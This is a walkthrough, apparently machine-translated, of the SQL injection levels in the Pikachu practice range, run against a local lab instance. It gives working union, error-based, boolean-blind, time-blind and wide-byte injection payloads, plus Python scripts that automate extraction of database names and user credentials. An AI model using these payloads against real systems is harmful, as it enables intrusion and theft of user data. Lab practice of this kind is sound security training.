Pikachu Shooting Range—SQL Injection
Preface
It’s not easy to create. Please give it a follow. If you have any questions, you can comment or chat privately.
1. Digital injection
The details of the level
can be seen from the picture. This level has a drop-down menu to select numbers. Since we can't see any changes from the URL, we use burpsuite to capture the packet and take a look. It is definitely a post request
because the question points out that it is a numeric injection, so there is no need to find the closure. Directly use order by to detect the number of columns. When 3 is detected here, an error starts to be reported, so the number of columns is two columns.
After detecting the number of columns, directly use union select to jointly query and reveal the database name. The database name revealed here is pikachu.
After having the database name, directly reveal the table name.
id=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2
Finally, the data in the field is exploded
id=2 union select username,password from users&submit=%E6%9F%A5%E8%AF%A2
It is found that the password is md5 encrypted, and it can be decrypted directly. After decrypting, Pikachu’s secret is: 000000
2. Character injection
There is only one input box in this level. If you directly give a single quote, an error will be reported, and the above url will find changes. You will directly get a url address
. According to the title, it is a character injection, so just give a universal formula x' or 1=1 Limit 1 is used to test and get some uid and information, indicating that there is an injection vulnerability.
Then directly use order by to detect the column number. Here, an error will be reported when it reaches 3, so
after getting the column number in two columns, use the union linked list to query the database name. After that, the remaining steps are the same as above. Place the query statement after x' and before the # sign.
3. Search injection
According to the same method as above, the old method is to first detect the injection method. First, close a ' sign to get a url path. Finally, use x' to find that there is an error message. It is found that there
is a % sign in the error message, so add a Close it after the % sign and find that the error disappears.
Continue to use order by to query the number of columns. This time, an error is reported when the fourth column is detected, indicating that the number of columns in this level is 3.
Then use the join table to query the database name. After pikachu
knows the database name, it still directly queries the table name.
group_concat(table_name),2,3 from information_schema.tables where table_schema=database()
Explosive
content
x%' union select username,password,level from users#
It is still md5 encrypted and can be decrypted directly through the website.
4. XX type injection
According to the previous process, I first tried to test with a ' sign to see what type of injection it was. I got an error message with ). I guessed that it might be character input
and then tried various detection methods. Finally, I found x') % 23 will not report an error, indicating that there is no problem in closing like this
, and then continue to order by to find the column number. This time, an error will be reported when it reaches 3, so confirm whether there are two columns
of database names. It is found that pichachu is
the table name. Use the previous statement to find that an error will be reported. It may be because the table structure of the records generated by the two SQL statements of the union is inconsistent.
Try another method. I can directly query it and use distinct deduplication.
x') union select group_concat(distinct table_name),2 from information_schema.columns where table_schema='pikachu'%23
When using the previous statement, it will also show that users cannot be recognized,
so I changed the encoding format. Both url and base64 reported errors. Hexadecimal can be used, so I converted it to hexadecimal to
explode the content, MD5 encryption, and direct decryption. That’s it
x') union select username,password from users%23&submit=查询
5. insert injection
Start with registration. First use a tool to capture the packet to see if it is a post request. It feels like it is a post request. In addition to the button, there are 6 parameters.
First try to write the required parameters in the username, and add the following comments. The former is closed, but an error is reported, and the number of displayed columns is incorrect.
After rearranging, all the parameters are stuffed in, and the registration is successful. The latter is commented out, indicating that the ' sign is closed,
but no error message is displayed. Maybe Hidden, I tried to use error injection here to see if it works, and found that the database was finally displayed.
username=aaaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'&password=123123&sex=&phonenum=&email=&add=&submit=submit
Explosive
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=123123&sex=&phonenum=&email=&add=&submit=submit
Burst (modify the parameters of substr to burst all the columns)
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1) or '& '&password=123123&sex=&phonenum=&email=&add=&submit=submit
Explosive content
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1)or '&password=123123&sex=&phonenum=&email=&add=&submit=submit
6. delete injection
Click on it and find it is a message board. You can add or delete messages. There is no special prompt after that, so I tried to capture the packet and finally found that the get request
gave a random id=1. I found that an error was reported and I asked for order by detection. The number of columns, I found that an error will be reported. I tried using error injection and found that this can successfully reveal the database name.
?id=1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
If you find that error injection is useful, the rest are the
same old routines, and the rest of the levels are the same as the ones above.
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)
Explosive content
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)
7. http header injection
According to the title, you can see that the injection is based on the http header. First try to log in normally using admin. A prompt that the information is recorded will pop up. After logging in, there will be an echo of the http request header.
Take a look at the packet capture below. Follow Previous experience with sql-labs, trying to inject in user-agent.
Try adding error injection in user-agent.
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
Get the database name directly
8. Blind Injection: Based on Boolean Blind Injection
First look for the closure. As usual, we directly put single quotes and double quotes for detection. In the end, the user name returned is that the user name does not exist, but adding a # sign at the end will return normal results, so it is basically confirmed that the closure is a single quote closure. The following is the database name. Manual blind injection is too slow. Write a python script and run it directly.
import requests
url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php" # url地址
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85", } # http request报文头部信息
keylist = [chr(i) for i in range(33, 127)] # 包括数字、大小写字母、可见特殊字符
flag = 'your uid' # 用于判断附加sql语句为真的字符,根据网页回显填写,登录成功会显示 your uid等字段
def showdatabase():
n = 20 # 猜测的最大长度
k = 0
j = n // 2
length = 0
db = str()
while True:
if j > k and j < n and j - k > 3:
payload1 = "lili' and length(database())>" + str(j) + "-- ss"
param = {
"name": payload1,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
n = n
k = j
else:
k = k
n = j
j = (n - k) // 2
elif j - k == 3 or j - k < 3:
for i in range(k - 1, n + 2):
payload2 = "lili' and length(database())=" + str(i) + "-- ss"
param = {
"name": payload2,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("数据库名长度为:" + str(length) )
for i in range(1, length + 1):
for c in keylist:
payload3 = "lili' and substring(database()," + str(i) + ",1)='" + c + "'-- ss"
param = {
"name": payload3,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
db = db + c
break
print("数据库名是:"+str(db))
showdatabase()
renderings
9. Boolean blind injection: based on time
Stop struggling and go straight to the script. Talking more is useless.
def databaseTime():
n = 20
k = 0
j = n // 2
length = 0
db = str()
while True:
if j > k and j < n and j - k > 3:
payload1 = "lili' and if(length(database())>" + str(j) + ",sleep(3),1)-- ss"
param = {
"name": payload1,
"submit": "查询",
}
try:
response = requests.get(url, params=param, headers=headers,timeout=2)
k = k
n = j
except:
n = n
k = j
j = (n - k) // 2
elif j - k == 3 or j - k < 3:
for i in range(k - 1, n + 2):
payload2 = "lili' and if(length(database())=" + str(i) + ",sleep(3),1)-- ss"
param = {
"name": payload2,
"submit": "查询",
}
try:
response = requests.get(url, params=param, headers=headers, timeout=2)
except:
length = i
break
break
else:
break
print("数据库的长度为:" + str(length))
for i in range(1, length + 1):
for c in keylist:
payload3 = "lili' and if(substring(database()," + str(i) + ",1)='" + c + "',sleep(3),1)-- ss"
param = {
"name": payload3,
"submit": "查询",
}
try:
response = requests.get(url, params=param, headers=headers, timeout=2)
except:
db = db + c
break
print("数据库名为:" + str(db))
databaseTime()
Rendering:
10. Wide byte injection
The reminder for this level is wide byte injection. Through packet capture analysis, it is found that this level is a post request, so I try to log in directly using wide byte to see if it prompts that the user does not exist, indicating that
the database has received the data, but it has not been queried. Continue to add an or 1=1 for detection, and find that the normal result is displayed.
When 1=2 is entered again, it will be displayed that username does not exist
. As can be seen from here, this level is essentially a Boolean blind injection, but the single quotation mark is Escaped, so modify the previous script code directly and run
import requests
url = "http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85",
"Content-Type": "application/x-www-form-urlencoded" # 需添加此行,不然requests模块自动进行url编码
}
keylist = range(33, 127) # 包括数字、大小写字母、可见特殊字符
flag = 'your uid'
def databaseWide():
n = 10
k = 0
j = n // 2
length = 0
db = str()
while True:
if j > k and j < n and j - k > 3:
payload1 = "name=lili%df' or length(database())>" + str(
j) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"
response = requests.post(url, data=payload1, headers=headers) #
# print(response.request.headers)
# print(response.request.body)
if response.text.find(flag) != -1:
n = n
k = j
else:
k = k
n = j
j = (n - k) // 2
elif j - k == 3 or j - k < 3:
for i in range(k - 1, n + 2):
payload2 = "name=lili%df' or length(database())=" + str(i) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"
param = {
"name": payload2,
"submit": "查询",
}
response = requests.post(url, data=payload2, headers=headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("数据库的长度是:" + str(length))
for i in range(1, length + 1):
for c in keylist:
payload3 = "name=lili%df' or ascii(substring(database()," + str(i) + ",1))=" + str(
c) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"
response = requests.post(url, data=payload3, headers=headers)
if response.text.find(flag) != -1:
db = db + chr(c)
break
print("数据库名字是:" + str(db))
databaseWide()
renderings
Summarize
no summary